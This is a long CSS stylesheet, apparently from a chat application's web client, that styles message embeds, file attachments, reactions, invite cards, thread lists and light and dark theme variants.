.clock-3KKiOw { margin-left: 6px; }

.embed-IeVjo6 { position: relative; display: grid; max-width: 520px; box-sizing: border-box; border-radius: 4px; }

.embed-IeVjo6 .emoji { width: 18px; height: 18px; }

.embed-IeVjo6 pre { max-width: 100%; border: none; }

.embed-IeVjo6 code { border: none; background: var(--background-tertiary); }

.embed-IeVjo6 blockquote { max-width: 100%; }

.embedFull-2tM8-- { border-left: 4px solid var(--background-tertiary); background: var(--background-secondary); }

.embedAuthorName-3mnTWj, .embedAuthorNameLink-1gVryT, .embedDescription-1Cuq9a, .embedFieldName-NFrena, .embedFieldValue-nELq2s, .embedFooterText-28V_Wb, .embedLink-1G1K1D, .embedProvider-3k5pfl, .embedTitle-3OXDkz, .embedTitleLink-1Zla9e { unicode-bidi: plaintext; text-align: left; }

.grid-1nZz7S { overflow: hidden; padding: 0.5rem 1rem 1rem 0.75rem; display: inline-grid; grid-template-columns: auto; grid-template-rows: auto; }

.grid-1nZz7S.hasThumbnail-3FJf1w { grid-template-columns: auto min-content; }

.embedMargin-UO5XwE { margin-top: 8px; }

.embedLink-1G1K1D { text-decoration: none; cursor: pointer; }

.embedLink-1G1K1D:hover { text-decoration: underline; }

.embedSuppressButton-1FonMn { opacity: 0; position: absolute; top: -2px; right: -20px; cursor: pointer; padding: 2px; color: var(--interactive-normal); }

.embed-IeVjo6:focus-within .embedSuppressButton-1FonMn, .embed-IeVjo6:hover .embedSuppressButton-1FonMn { opacity: 1; }

.embedSuppressButton-1FonMn:hover { color: var(--interactive-hover); }

.embedProvider-3k5pfl { font-size: 0.75rem; line-height: 1rem; font-weight: 400; grid-column: 1 / 1; }

@media (-webkit-max-device-pixel-ratio: 1) {
  .theme-light .embedProvider-3k5pfl { font-weight: 500; }
}

.embedAuthor-3l5luH { display: flex; -webkit-box-align: center; align-items: center; grid-column: 1 / 1; }

.embedAuthorName-3mnTWj { font-size: 0.875rem; font-weight: 600; }

@media (-webkit-max-device-pixel-ratio: 1) {
  .theme-light .embedAuthorName-3mnTWj { font-weight: 500; }
}

.embedAuthorNameLink-1gVryT { }

.embed-IeVjo6 .embedAuthorNameLink-1gVryT { color: var(--header-primary); }

.embedAuthorIcon--1zR3L { margin-right: 8px; width: 24px; height: 24px; object-fit: contain; border-radius: 50%; }

.embedTitle-3OXDkz { font-size: 1rem; font-weight: 600; display: inline-block; grid-column: 1 / 1; }

.embedTitleLink-1Zla9e { }

.embedDescription-1Cuq9a { font-size: 0.875rem; line-height: 1.125rem; font-weight: 400; white-space: pre-line; grid-column: 1 / 1; }

@media (-webkit-max-device-pixel-ratio: 1) {
  .theme-light .embedDescription-1Cuq9a { font-weight: 500; }
}

.embedImage-2W1cML, .embedThumbnail-2Y84-K, .embedVideo-3nf0O9 { display: block; object-fit: fill; }

.embedImage-2W1cML img, .embedImage-2W1cML video, .embedThumbnail-2Y84-K img, .embedThumbnail-2Y84-K video, .embedVideo-3nf0O9 img, .embedVideo-3nf0O9 video { display: block; border-radius: 4px; }

.embedGalleryImagesWrapper-2Qn2vv { grid-column: 1 / 2; display: grid; grid-template-columns: 1fr 1fr; column-gap: 4px; overflow: hidden; border-radius: 4px; margin-top: 16px; }

.embedGallerySide-1Hu9Bp { overflow: hidden; -webkit-box-orient: vertical; -webkit-box-direction: normal; flex-direction: column; }

.embedGallerySide-1Hu9Bp, .embedGallerySide-1Hu9Bp > a { display: flex; }

.embedGallerySide-1Hu9Bp > a { margin: 0px; border-radius: 0px; -webkit-box-pack: center; justify-content: center; -webkit-box-align: center; align-items: center; min-width: 100%; max-width: 100%; min-height: calc(50% - 2px); }

.embedGallerySide-1Hu9Bp > a:only-child { min-height: 100%; }

.embedGallerySide-1Hu9Bp > a:nth-child(2) { margin-top: 4px; }

.embedGalleryImageElement-3Vxxsp { position: absolute; object-fit: cover; width: 100%; height: 100%; }

.embedThumbnail-2Y84-K { grid-area: 1 / 2 / 8 / 2; margin-left: 16px; margin-top: 8px; flex-shrink: 0; justify-self: end; }

.embedVideo-3nf0O9 { display: flex; position: relative; background-color: rgba(0, 0, 0, 0.05); }

.centerContent-1dpMl0, .embedVideoActions-O6vR7W, .embedVideoImageComponent-34z3di { display: flex; -webkit-box-align: center; align-items: center; -webkit-box-pack: center; justify-content: center; }

.embedVideoImageComponent-34z3di { max-height: 100%; border-radius: 0px; width: 100% !important; height: 100% !important; }

.embedVideoImageComponentInner-2Ujh_1 { object-fit: cover; width: 100% !important; height: 100% !important; }

.embedVideoActions-O6vR7W { position: absolute; inset: 0px; pointer-events: none; }

.embedVideoAction-2BIhKO { width: 24px; height: 24px; background: none 0% 0% / 24px 24px; display: inline-block; opacity: 0.6; }

.embedVideoAction-2BIhKO:hover { opacity: 1; }

.embedIframe-2hcNY5 { width: 100%; height: 100%; display: block; }

.embedGIFTag-n_mDqR { position: absolute; top: 4px; right: 4px; }

.embedFooter-3yVop- { display: flex; -webkit-box-align: center; align-items: center; grid-area: auto / 1 / auto / 1; }

.hasThumbnail-3FJf1w .embedFooter-3yVop- { grid-column: 1 / 3; }

.embedFooterText-28V_Wb { font-size: 0.75rem; line-height: 1rem; font-weight: 500; color: var(--text-normal); }

@media (-webkit-max-device-pixel-ratio: 1) {
  .theme-light .embedFooterText-28V_Wb { font-weight: 500; }
}

.embedFooterSeparator-3klTIQ { font-weight: 500; color: var(--text-normal); display: inline-block; margin: 0px 4px; }

.embedFooterIcon-239O1f { margin-right: 8px; width: 20px; height: 20px; object-fit: contain; border-radius: 50%; }

.embedFields-2IPs5Z { display: grid; grid-column: 1 / 1; margin-top: 8px; gap: 8px; }

.embedField-1v-Pnh { font-weight: 400; }

.embedField-1v-Pnh, .embedFieldName-NFrena { font-size: 0.875rem; line-height: 1.125rem; min-width: 0px; }

.embedFieldName-NFrena { font-weight: 600; margin-bottom: 2px; }

.embedFieldValue-nELq2s { font-size: 0.875rem; line-height: 1.125rem; font-weight: 400; white-space: pre-line; min-width: 0px; }

.embedMedia-1guQoW { grid-column: 1 / 1; border-radius: 4px; contain: paint; }

.hasThumbnail-3FJf1w .embedMedia-1guQoW { grid-column: 1 / 3; }

.embedFull-2tM8-- .embedMedia-1guQoW { margin-top: 16px; }

@media (-webkit-max-device-pixel-ratio: 1) {
  .theme-light .embedFieldName-NFrena { font-weight: 600; }
}

@media (-webkit-max-device-pixel-ratio: 1) {
  .theme-light .embedFieldValue-nELq2s { font-weight: 400; }
}

.embedDescription-1Cuq9a, .embedFieldValue-nELq2s { color: var(--text-normal); }

.embedProvider-3k5pfl .embedLink-1G1K1D { color: var(--interactive-normal); }

.embedProvider-3k5pfl .embedLink-1G1K1D:hover { color: var(--interactive-hover); }

.embedAuthorName-3mnTWj, .embedFieldName-NFrena, .embedTitle-3OXDkz { color: var(--header-primary); }

.embedAuthor-3l5luH, .embedDescription-1Cuq9a, .embedFields-2IPs5Z, .embedFooter-3yVop-, .embedMedia-1guQoW, .embedProvider-3k5pfl, .embedTitle-3OXDkz { min-width: 0px; }

.background-opacity-low .embedFull-2tM8-- { background-color: rgba(47, 49, 54, 0.2); border-left-color: rgba(32, 34, 37, 0.4) !important; }

.background-opacity-low .embedFull-2tM8-- code { background: rgba(32, 34, 37, 0.4); }

.background-opacity-low .embedThumbnail-2Y84-K { opacity: 0.4; }

.background-opacity-low .embedSpotify-tvxDCr { opacity: 0.8; }

.background-opacity-low .embedSpotify-tvxDCr:hover { opacity: 1; }

.background-opacity-low .embedDescription-1Cuq9a, .background-opacity-low .embedFieldValue-nELq2s, .background-opacity-low .embedFooterText-28V_Wb, .background-opacity-low .embedProvider-3k5pfl { text-shadow: rgba(0, 0, 0, 0.3) 0px 0px 1px; color: rgb(255, 255, 255) !important; }

.background-opacity-low .embedTitleLink-1Zla9e { text-shadow: rgba(255, 255, 255, 0.3) 0px 0px 1px, rgba(0, 0, 0, 0.6) 0px 0px 3px; color: var(--text-link) !important; }

.background-opacity-medium .embedFull-2tM8-- { background-color: rgba(47, 49, 54, 0.2); border-left-color: rgba(32, 34, 37, 0.4) !important; }

.background-opacity-medium .embedFull-2tM8-- code { background: rgba(32, 34, 37, 0.4); }

.background-opacity-medium .embedThumbnail-2Y84-K { opacity: 0.4; }

.background-opacity-medium .embedSpotify-tvxDCr { opacity: 0.8; }

.background-opacity-medium .embedSpotify-tvxDCr:hover { opacity: 1; }

.background-opacity-medium .embedDescription-1Cuq9a, .background-opacity-medium .embedFieldValue-nELq2s, .background-opacity-medium .embedFooterText-28V_Wb, .background-opacity-medium .embedProvider-3k5pfl { text-shadow: rgba(0, 0, 0, 0.2) 0px 0px 1px; }

.background-opacity-medium .embedTitleLink-1Zla9e { text-shadow: rgba(255, 255, 255, 0.2) 0px 0px 1px, rgba(0, 0, 0, 0.4) 0px 0px 3px; color: var(--text-link) !important; }

.background-opacity-high .embedFull-2tM8-- { background-color: rgba(47, 49, 54, 0.2); border-left-color: rgba(32, 34, 37, 0.4) !important; }

.background-opacity-high .embedFull-2tM8-- code { background: rgba(32, 34, 37, 0.4); }

.background-opacity-high .embedThumbnail-2Y84-K { opacity: 0.4; }

.background-opacity-high .embedSpotify-tvxDCr { opacity: 0.9; }

.background-opacity-high .embedSpotify-tvxDCr:hover { opacity: 1; }

.background-opacity-high .embedDescription-1Cuq9a, .background-opacity-high .embedFieldValue-nELq2s, .background-opacity-high .embedFooterText-28V_Wb, .background-opacity-high .embedProvider-3k5pfl { text-shadow: rgba(0, 0, 0, 0.2) 0px 0px 1px; }

.background-opacity-high .embedTitleLink-1Zla9e { text-shadow: rgba(255, 255, 255, 0.2) 0px 0px 1px, rgba(0, 0, 0, 0.4) 0px 0px 3px; }

.spoilerEmbed-1fzvzg.hiddenSpoiler-3i0zpa { cursor: pointer; overflow: hidden; }

.spoilerEmbed-1fzvzg.hiddenSpoiler-3i0zpa .grid-1nZz7S { transition: filter 0.1s ease-out 0s, -webkit-filter 0.1s ease-out 0s; filter: blur(44px); pointer-events: none; }

.overlay-unlocked .embedSpotify-tvxDCr, .overlay-unlocked .embedThumbnail-2Y84-K { opacity: 1; }

.spoilerAttachment-1LrKiO.hiddenSpoiler-3i0zpa { filter: blur(44px); pointer-events: none; transition: filter 0.1s ease 0s, -webkit-filter 0.1s ease 0s; }

.ephemeralMessage-1fEWtQ { margin-top: 4px; font-size: 12px; font-weight: 400; color: var(--text-muted); }

.icon-2ZUv7M { margin-right: 4px; vertical-align: text-bottom; }

@media (-webkit-max-device-pixel-ratio: 1) {
  .theme-light .ephemeralMessage-1fEWtQ { font-weight: 500; }
}

.attachment-33OFj0 { box-sizing: border-box; border-radius: 3px; letter-spacing: 0px; max-width: 520px; width: 100%; padding: 10px; border: 1px solid transparent; }

.attachmentInner-3vEpKt { -webkit-box-flex: 1; flex: 1 1 0%; white-space: nowrap; text-overflow: ellipsis; overflow: hidden; }

.icon-1kp3fr { width: 30px; height: 40px; margin-right: 8px; flex-shrink: 0; }

.filenameWrapper-1sY0qo { }

.filename-3eBB_v { font-weight: 400; white-space: nowrap; text-overflow: ellipsis; overflow: hidden; }

@media (-webkit-max-device-pixel-ratio: 1) {
  .theme-light .filename-3eBB_v { font-weight: 500; }
}

.metadata-3WGS0M { font-weight: 300; color: rgb(114, 118, 125); margin-right: 8px; }

.rate-1kMjTj { flex-shrink: 0; margin-left: 8px; min-width: 60px; text-align: right; }

.progressContainer-3ao-eu { height: 16px; display: -webkit-box; -webkit-box-align: center; align-items: center; }

.progress-3Rbvu0 { background-color: rgba(114, 118, 125, 0.3); }

.cancelButton-3hVEV6, .downloadButton-23tKQp, .size-1Arx_I { margin-left: 4px; }

.cancelButton-3hVEV6, .downloadButton-23tKQp { color: var(--interactive-normal); cursor: pointer; }

.cancelButton-3hVEV6:hover, .downloadButton-23tKQp:hover { color: var(--interactive-hover); }

.downloadWrapper-vhAtLx { display: block; width: 24px; height: 24px; margin-right: 8px; }

.filenameLinkWrapper-1-14c5 { white-space: nowrap; text-overflow: ellipsis; overflow: hidden; }

.fileNameLink-9GuxCo:hover { text-decoration: underline; }

.attachment-33OFj0 { border-color: var(--background-secondary-alt); background-color: var(--background-secondary); }

.filename-3eBB_v { color: var(--interactive-active); }

.filenameLinkWrapper-1-14c5 { color: var(--text-link); }

.size-1Arx_I { color: var(--text-muted); }

.inline-2bgipb { opacity: 1; transition: all 0.1s ease 0s; }

.inline-2bgipb.hiddenSpoilers-1ksnR6 { visibility: hidden; }

.spoiler-1PPAUc { transition: all 0.1s ease 0s; }

.spoiler-1PPAUc.hiddenSpoilers-1ksnR6 { filter: blur(44px); pointer-events: none; }

.removeAttachmentButton-2qVPxg { opacity: 0; position: absolute; top: -2px; right: -20px; cursor: pointer; color: var(--interactive-normal); padding: 2px; }

.messageAttachment-1aDidq { position: relative; }

.messageAttachment-1aDidq:focus-within .removeAttachmentButton-2qVPxg, .messageAttachment-1aDidq:hover .removeAttachmentButton-2qVPxg { opacity: 1; }

.removeAttachmentButton-2qVPxg:hover { color: var(--interactive-hover); }

.learnMoreLink-3H5-aT { cursor: pointer; color: var(--text-link); }

.separator-3ANTTx { height: 1px; margin-top: 16px; margin-bottom: 16px; background-color: var(--background-modifier-accent); }

.container-1qJFPO { position: relative; }

.iconContainer-1dtWOo { -webkit-box-flex: 0; flex: 0 0 auto; width: 16px; height: 16px; position: relative; margin-right: 4px; }

.icon-2s94H- { position: relative; color: rgb(185, 187, 190); width: 100%; }

.foreground-3bBkqt, .icon-2s94H- { opacity: 0.6; }

.avatar-1j43gH { margin-right: -4px; }

.avatarSize-EXG1Is { width: 20px !important; height: 20px !important; }

.emptyUser-3FRJaF { width: 20px; height: 20px; border-radius: 50%; background: rgb(79, 84, 92); }

.avatarMasked-3y6o4j { -webkit-mask-image: url("https://discord.com/assets/bdfdb44edfec770fb4e448cbbebfe922.svg"); -webkit-mask-position: 0px 0px; -webkit-mask-size: 100% 100%; -webkit-mask-repeat: no-repeat; }

.moreUsers-1s5Her { position: relative; background-color: rgb(79, 84, 92); font-size: 12px; font-weight: 700; color: rgb(185, 187, 190); height: 20px; line-height: 20px; border-radius: 10px; padding: 0px 8px 0px 6px; }

.inFront-1tn07g { z-index: 2; }

.invite-18yqGF { position: relative; box-sizing: border-box; height: 145px; padding: 20px; border-radius: 5px; overflow: hidden; max-width: 400px; user-select: none; border: 1px solid transparent; cursor: default; }

.fullHeight-24whqn { height: 100%; }

.coverImageWrapper-22d5LB { pointer-events: none; position: absolute; top: 0px; bottom: 0px; right: 0px; z-index: 0; width: 100%; height: 100%; max-width: 145px; opacity: 0.6; border-radius: 0px 5px 5px 0px; overflow: hidden; }

.coverImage-3cjWkd { width: 100%; height: 100%; background-size: 100%; background-repeat: no-repeat; -webkit-mask: linear-gradient(90deg, transparent, rgba(255, 255, 255, 0.4) 60%); }

.coverImageActionable-1TMryE { }

.coverImageActionable-1TMryE.blurred-UUeCTs { filter: blur(5px); }

.coverImageNotActionable-1MP2Mx { filter: grayscale(100%); }

.coverImageNotActionable-1MP2Mx.blurred-UUeCTs { filter: blur(5px) grayscale(100%); }

.artwork-1vrmJ_ { width: 100px; height: 100px; border-radius: 5px; position: relative; z-index: 1; }

.artworkActionable-10hKry { }

.artworkNotActionable-3519Nv { filter: grayscale(100%); }

.artworkSpotifySessionEnded-11d_If { background-size: 100%; background-repeat: no-repeat; background-position: 50% center; }

.header-Hg_qNF { text-transform: uppercase; font-size: 12px; line-height: 12px; font-weight: 700; }

.partyStatus-6AjDud { font-size: 18px; }

.actionAndParty-3DXneA { margin-right: 0px; max-height: 32px; }

.actionButton-1Vu3oO { flex-shrink: 0; }

.name-GG2Mcs { font-size: 14px; font-weight: 600; margin-left: 5px; text-align: right; -webkit-box-flex: 1; flex-grow: 1; }

.partyMembers-fGLW2R { margin-left: 20px; overflow: hidden; white-space: nowrap; }

.partyMember-2WUkBE { position: relative; }

.partyMemberKnown-2QGebq { cursor: pointer; }

.partyAvatar-34PPpo { width: 22px !important; height: 22px !important; }

.partyMemberEmpty-2iyh5g { width: 22px; }

.moreUsers-1sZP3U, .partyMemberEmpty-2iyh5g { height: 22px; border-radius: 50%; }

.moreUsers-1sZP3U { min-width: 18px; line-height: 22px; text-align: center; padding: 0px 2px; }

.helpIcon-2EyVTp { position: absolute; top: 8px; right: 8px; border-radius: 50%; display: none; opacity: 0.6; width: 14px; height: 14px; z-index: 1; transition: opacity 0.2s ease 0s; }

.helpIcon-2EyVTp:hover { opacity: 1; }

.invite-18yqGF:hover .helpIcon-2EyVTp { display: flex; }

.details-3NqflA, .state-2dqgON { white-space: nowrap; text-overflow: ellipsis; overflow: hidden; max-width: 240px; font-size: 16px; line-height: 16px; padding-bottom: 4px; }

.textLink-3aPthL:hover { text-decoration: underline; }

.theme-dark .invite-18yqGF { background: rgba(47, 49, 54, 0.6); border-color: rgba(47, 49, 54, 0.9); }

.theme-dark .artworkSpotifySessionEnded-11d_If { background-image: url("https://discord.com/assets/1e3eefd7b16f4e6b59faa3e3d48f582f.svg"); }

.theme-dark .header-Hg_qNF { color: rgb(114, 118, 125); }

.theme-dark .name-GG2Mcs, .theme-dark .partyStatus-6AjDud { color: rgb(255, 255, 255); }

.theme-dark .moreUsers-1sZP3U { background-color: rgb(79, 84, 92); }

.theme-dark .partyMemberEmpty-2iyh5g { background: rgb(79, 84, 92); }

.theme-dark .helpIcon-2EyVTp { background-color: rgb(255, 255, 255); }

.theme-dark .textLink-3aPthL, .theme-dark .message-group .textLink-3aPthL { color: rgb(255, 255, 255); }

.theme-dark .background-opacity-high .invite-18yqGF, .theme-dark .background-opacity-low .invite-18yqGF, .theme-dark .background-opacity-medium .invite-18yqGF { opacity: 0.4; }

.theme-dark .overlay-unlocked .invite-18yqGF { opacity: 1; }

.theme-light .invite-18yqGF { background: rgba(246, 246, 247, 0.6); border-color: rgba(220, 221, 222, 0.3); }

.theme-light .artworkSpotifySessionEnded-11d_If { background-image: url("https://discord.com/assets/f448e486ed9792938c6dcec4c476734b.svg"); }

.theme-light .header-Hg_qNF { color: rgb(114, 118, 125); }

.theme-light .name-GG2Mcs, .theme-light .partyStatus-6AjDud { color: rgb(79, 84, 92); }

.theme-light .moreUsers-1sZP3U { background-color: rgb(220, 221, 222); }

.theme-light .partyMemberEmpty-2iyh5g { background: rgb(220, 221, 222); }

.theme-light .helpIcon-2EyVTp { background-color: rgb(79, 84, 92); }

.theme-light .textLink-3aPthL, .theme-light .message-group .textLink-3aPthL { color: rgb(79, 84, 92); }

.container-o3RxSG { width: 100%; }

.container-2Uhd6d { background-color: var(--background-floating); border-radius: 8px; padding: 16px; box-shadow: var(--elevation-high),var(--elevation-stroke); display: flex; -webkit-box-align: start; align-items: flex-start; }

.content-3MbD2f { margin-left: 24px; max-width: 320px; }

.buttonContainer-3CyfSO { margin-top: 16px; display: flex; }

.cancel-m57-lx { color: var(--interactive-normal); margin-left: 24px; }

.cancel-m57-lx:hover { color: var(--interactive-hover); }

.cancel-m57-lx:active { color: var(--interactive-active); }

.image-3OQMFm { width: 64px; height: 64px; }

.reactions-12N0jA { display: flex; -webkit-box-flex: 1; flex: 1 0 auto; -webkit-box-align: center; align-items: center; flex-wrap: wrap; margin-bottom: -0.5rem; padding-bottom: 0.25rem; }

.icon-2uw6mp, .reactionBtn-3N03Zj { width: 1rem; height: 1rem; }

.reactionBtn-3N03Zj { margin-left: 0.25rem; margin-bottom: 0.125rem; cursor: pointer; visibility: hidden; color: var(--interactive-normal); }

.reactionBtn-3N03Zj:hover .icon-2uw6mp { color: var(--interactive-hover); }

.reactionBtn-3N03Zj.active-1pv5EN .icon-2uw6mp, .reactionBtn-3N03Zj:active .icon-2uw6mp { color: var(--interactive-active); }

.reactionBtn-3N03Zj.active-1pv5EN, .reactions-12N0jA:hover .reactionBtn-3N03Zj { visibility: visible; }

.reaction-1hd86g { border-radius: 0.5rem; cursor: pointer; box-sizing: border-box; flex-shrink: 0; margin-right: 0.25rem; margin-bottom: 0.25rem; user-select: none; transition: background-color 0.1s ease 0s, border-color; background: var(--background-secondary); border: 1px solid transparent; }

.reaction-1hd86g.reactionReadOnly-bYgwi9 { cursor: not-allowed; }

.reaction-1hd86g .emoji { width: 1rem; height: 1rem; margin: 0.125rem 0px; min-width: auto; min-height: auto; }

.reaction-1hd86g .emoji-text { color: var(--text-normal); vertical-align: -0.125rem; display: inline-block; }

.reaction-1hd86g:hover { background-color: var(--background-primary); border-color: rgba(255, 255, 255, 0.2); }

.reaction-1hd86g:hover .reactionCount-2mvXRV { color: var(--interactive-hover); }

.reaction-1hd86g:active { background-color: var(--background-secondary-alt); border-color: transparent; }

.reaction-1hd86g:active .reactionCount-2mvXRV { color: var(--interactive-active); }

.reaction-1hd86g.reactionMe-wv5HKu { background-color: var(--brand-experiment-15a); border-color: var(--brand-experiment); }

.reaction-1hd86g.reactionMe-wv5HKu .reactionCount-2mvXRV { color: var(--brand-experiment-200); }

.low-contrast .reaction-1hd86g.reactionMe-wv5HKu { background-color: var(--brand-experiment-15a); border-color: var(--brand-experiment-50a); }

.low-contrast .reaction-1hd86g.reactionMe-wv5HKu .reactionCount-2mvXRV { color: var(--brand-experiment-300); }

.reactionInner-15NvIl { display: flex; -webkit-box-align: center; align-items: center; padding: 0.125rem 0.375rem; }

.reactionCount-2mvXRV { font-size: 0.875rem; font-weight: 500; margin-left: 0.375rem; text-align: center; color: var(--interactive-normal); }

.theme-light .reaction-1hd86g:hover { border-color: rgba(0, 0, 0, 0.2); }

.theme-light .reaction-1hd86g.reactionMe-wv5HKu { background-color: var(--brand-experiment-160); border-color: var(--brand-experiment); }

.theme-light .reaction-1hd86g.reactionMe-wv5HKu .reactionCount-2mvXRV { color: var(--brand-experiment); }

.background-opacity-high .reaction-1hd86g, .background-opacity-low .reaction-1hd86g, .background-opacity-medium .reaction-1hd86g { background-color: rgba(41, 43, 47, 0.2); }

.background-opacity-high .reactionCount-2mvXRV, .background-opacity-low .reactionCount-2mvXRV, .background-opacity-medium .reactionCount-2mvXRV { color: rgb(255, 255, 255); }

.background-opacity-high .reaction-1hd86g.reactionMe-wv5HKu, .background-opacity-low .reaction-1hd86g.reactionMe-wv5HKu, .background-opacity-medium .reaction-1hd86g.reactionMe-wv5HKu { background-color: var(--brand-experiment-50a); }

.reactionTooltip-3pvwwY { max-width: 234px; }

.reactionTooltipContent-2TwEIL { display: flex; -webkit-box-align: center; align-items: center; padding: 12px; word-break: break-word; hyphens: auto; }

.reactionTooltipEmoji-3LG0v8 { width: 32px; height: 32px; }

.reactionTooltipText-u4NWre { margin-left: 12px; }

.container-1ov-mD { display: grid; grid-auto-flow: row; row-gap: 0.25rem; text-indent: 0px; min-height: 0px; min-width: 0px; padding-top: 0.125rem; padding-bottom: 0.125rem; position: relative; }

.container-1ov-mD:empty { display: none; }

.container-1ov-mD > * { place-self: start; }

.gifFavoriteButton-2SKrBk { display: block; margin: 0px 0px 0px auto; opacity: 0; box-sizing: border-box; transform: translateY(-16px); transition: transform 0.2s ease 0s, opacity 0.1s ease 0s, -webkit-transform 0.2s ease 0s; }

.embedWrapper-lXpS3L:hover .gifFavoriteButton-2SKrBk { opacity: 1; transform: translateY(0px); }

.giftCodeContainer-1fbmAS { width: 100%; }

.confirmText-hRazmx { margin-bottom: 12px; }

.threadRoleMentionFailure-1IkTs9 { color: var(--text-danger); font-size: 12px; line-height: 16px; }

.container-1KFiob { -webkit-box-align: center; align-items: center; box-sizing: border-box; display: flex; -webkit-box-flex: 1; flex: 1 1 0%; -webkit-box-orient: vertical; -webkit-box-direction: normal; flex-direction: column; -webkit-box-pack: center; justify-content: center; min-height: 400px; padding: 32px; text-align: center; }

.container-1KFiob.compact-2SDapG { min-height: 140px; max-height: 140px; padding: 0px; }

.iconContainer-2eZPr4 { margin-bottom: 16px; position: relative; }

.icon-3pEw1v { background-color: var(--background-primary); border-radius: 80px; color: var(--interactive-normal); display: inline-block; padding: 22px; }

.icon-3pEw1v.dark-1-6hU7 { background-color: var(--background-secondary); }

.compact-2SDapG .icon-3pEw1v { padding: 10px; }

.stars-1dLESH { position: absolute; left: -10px; }

.header-2e3dsI { margin-bottom: 8px; }

.cta-3fjU95 { margin-top: 24px; }

.container-2I9Hud { background-color: var(--background-primary); border: 1px solid var(--background-primary); border-radius: 8px; box-sizing: border-box; cursor: pointer; display: flex; height: 72px; margin-bottom: 8px; padding: 15px; position: relative; }

.container-2I9Hud:hover { border-color: var(--background-accent); }

.left-3P8WCO { display: flex; -webkit-box-orient: vertical; -webkit-box-direction: normal; flex-direction: column; -webkit-box-flex: 1; flex-grow: 1; min-width: 0px; }

.authorName-2_A-Lf, .messageContent-19B5yF, .parentName-2phCO5, .subtext-pjj1kJ, .threadName-2iLyXl { white-space: nowrap; overflow: hidden; text-overflow: ellipsis; min-width: 0px; }

.threadNameLine-3p4RWQ { display: flex; -webkit-box-align: center; align-items: center; }

.parentName-2phCO5 { flex-shrink: 0; color: var(--text-muted); font-weight: 500; font-size: 14px; margin-left: 8px; }

.threadName-2iLyXl { color: var(--header-secondary); }

.facepile-3d8JVS { margin-left: 16px; flex-shrink: 0; }

.subtext-pjj1kJ { display: flex; -webkit-box-align: center; align-items: center; }

.avatar-5gCvH8, .noAvatarIcon-1rVwh9 { flex-shrink: 0; margin-right: 8px; }

.noAvatarIcon-1rVwh9 { -webkit-box-align: center; align-items: center; background-color: var(--background-tertiary); border-radius: 16px; display: flex; height: 16px; -webkit-box-pack: center; justify-content: center; width: 16px; }

.authorName-2_A-Lf { flex-shrink: 0; font-weight: 600; max-width: 150px; }

.messageContent-19B5yF { -webkit-box-align: center; align-items: center; color: var(--header-secondary); display: flex; flex-shrink: 1; white-space: pre; }

.messageContent-19B5yF .inline { white-space: pre !important; }

.messageContent-19B5yF .mention { pointer-events: none; }

.messageContentIcon-yzjShp { -webkit-box-flex: 0; flex: 0 0 auto; width: 20px; height: 20px; margin-left: 4px; }

.bullet-1-Smkp { color: var(--background-accent); padding: 0px 8px; }

.list-wek7hJ { padding: 0px 16px; }

.activeThreadsList-3f7l7U { padding-top: 16px; padding-bottom: 8px; }

.sectionHeader-17Aate { -webkit-box-align: center; align-items: center; box-sizing: border-box; display: flex; font-weight: 700; height: 24px; margin-bottom: 8px; text-transform: uppercase; }

.divider-VEsXul { position: relative; height: 32px; }

.divider-VEsXul::before { content: ""; position: absolute; background-color: var(--background-modifier-accent); top: 16px; left: 0px; right: 0px; height: 1px; }

.controls-1kKWv_ { display: flex; -webkit-box-pack: justify; justify-content: space-between; height: 64px; }

.tabBar-wS4pjJ { height: 64px; }

.tabBar-wS4pjJ, .tabBar-wS4pjJ .tab-17bjMB { -webkit-box-align: center; align-items: center; box-sizing: border-box; }

.tabBar-wS4pjJ .tab-17bjMB { display: flex; height: 24px; -webkit-box-pack: center; justify-content: center; margin-left: 0px; margin-top: 0px; text-align: center; }

.theme-dark .list-wek7hJ .tabBar-wS4pjJ .tab-17bjMB.active-3JUHqX { background-color: var(--background-accent); }

.moderatorView-1h-CbZ { -webkit-box-align: center; align-items: center; display: flex; }

.checkbox-Aywj5i { margin-right: 4px; }

.infoIcon-2hKaOh { margin-left: 4px; position: relative; top: 2px; }

.spinner-2xn1Ci { margin: 64px 0px; }

.container-7uh5fX { background-color: var(--background-secondary); border-radius: 8px; box-sizing: border-box; cursor: default; -webkit-box-orient: vertical; -webkit-box-direction: normal; flex-direction: column; }

.container-7uh5fX, .header-1VS4tm { display: flex; }

.header-1VS4tm { background-color: var(--background-tertiary); height: 48px; -webkit-box-align: center; align-items: center; min-height: 48px; padding: 0px 16px; }

.closeIcon-3CcYvY, .divider-mDc_D8, .tabBar-31Wimb, .threadIcon-3XJhLD, .title-wn-Ecb { flex-shrink: 0; }

.threadIcon-3XJhLD { margin-right: 8px; }

.divider-mDc_D8, .tabBar-31Wimb .tab-PQvTH4, .title-wn-Ecb { margin-right: 16px; }

.closeIcon-3CcYvY, .threadIcon-3XJhLD { color: var(--interactive-normal); }

.closeIcon-3CcYvY { cursor: pointer; }

.closeIcon-3CcYvY:hover { color: var(--interactive-hover); }

.divider-mDc_D8 { width: 1px; height: 24px; background-color: var(--background-modifier-accent); }

.tabBar-31Wimb .tab-PQvTH4 { -webkit-box-align: center; align-items: center; box-sizing: border-box; display: flex; height: 24px; -webkit-box-pack: center; justify-content: center; margin-left: 0px; text-align: center; }

.spacer-3a3inN { -webkit-box-flex: 1; flex-grow: 1; }

.createButton-nlV8qH { margin-right: 16px; padding: 2px 8px; height: 24px; font-size: 16px; }

.theme-dark .header-1VS4tm .tabBar-31Wimb .tab-PQvTH4.active-30vPlA { background-color: var(--background-accent); }

.searchIcon-2R7aBP { color: var(--header-secondary); cursor: pointer; margin-right: 16px; margin-top: 2px; }

.searchIcon-2R7aBP:hover { color: var(--interactive-hover); }

.searchBox-A2vbJu { background-color: var(--background-secondary); margin-right: 16px; }

.modal-2DCYwU { border-radius: 8px; min-height: 400px; height: 60vh; width: 600px; background-color: var(--background-secondary) !important; }

.browser-27EVtf { overflow: hidden; }

.welcomeCTA-2orRfU { margin-bottom: 2px; }

.welcomeCTAButtonOuter-2VwxSF { padding-left: 8px; }

.welcomeCTAButton-2HP0Ic { display: flex; -webkit-box-align: center; align-items: center; }

.welcomeCTASticker-1idApB { margin-right: 4px; }

.container-3-pyIM { position: relative; display: flex; -webkit-box-align: start; align-items: flex-start; color: var(--channels-default); -webkit-box-flex: 0; flex: 0 0 auto; padding-top: 0.125rem; padding-bottom: 0.125rem; }

.compact-2zYMSo { margin-left: -4ch; }

.content-2M3n_H { font-weight: 400; font-size: 1rem; line-height: 1.375rem; display: flex; -webkit-box-align: center; align-items: center; flex-wrap: wrap; }

.content-2M3n_H a { cursor: pointer; color: var(--interactive-active); font-weight: 500; }

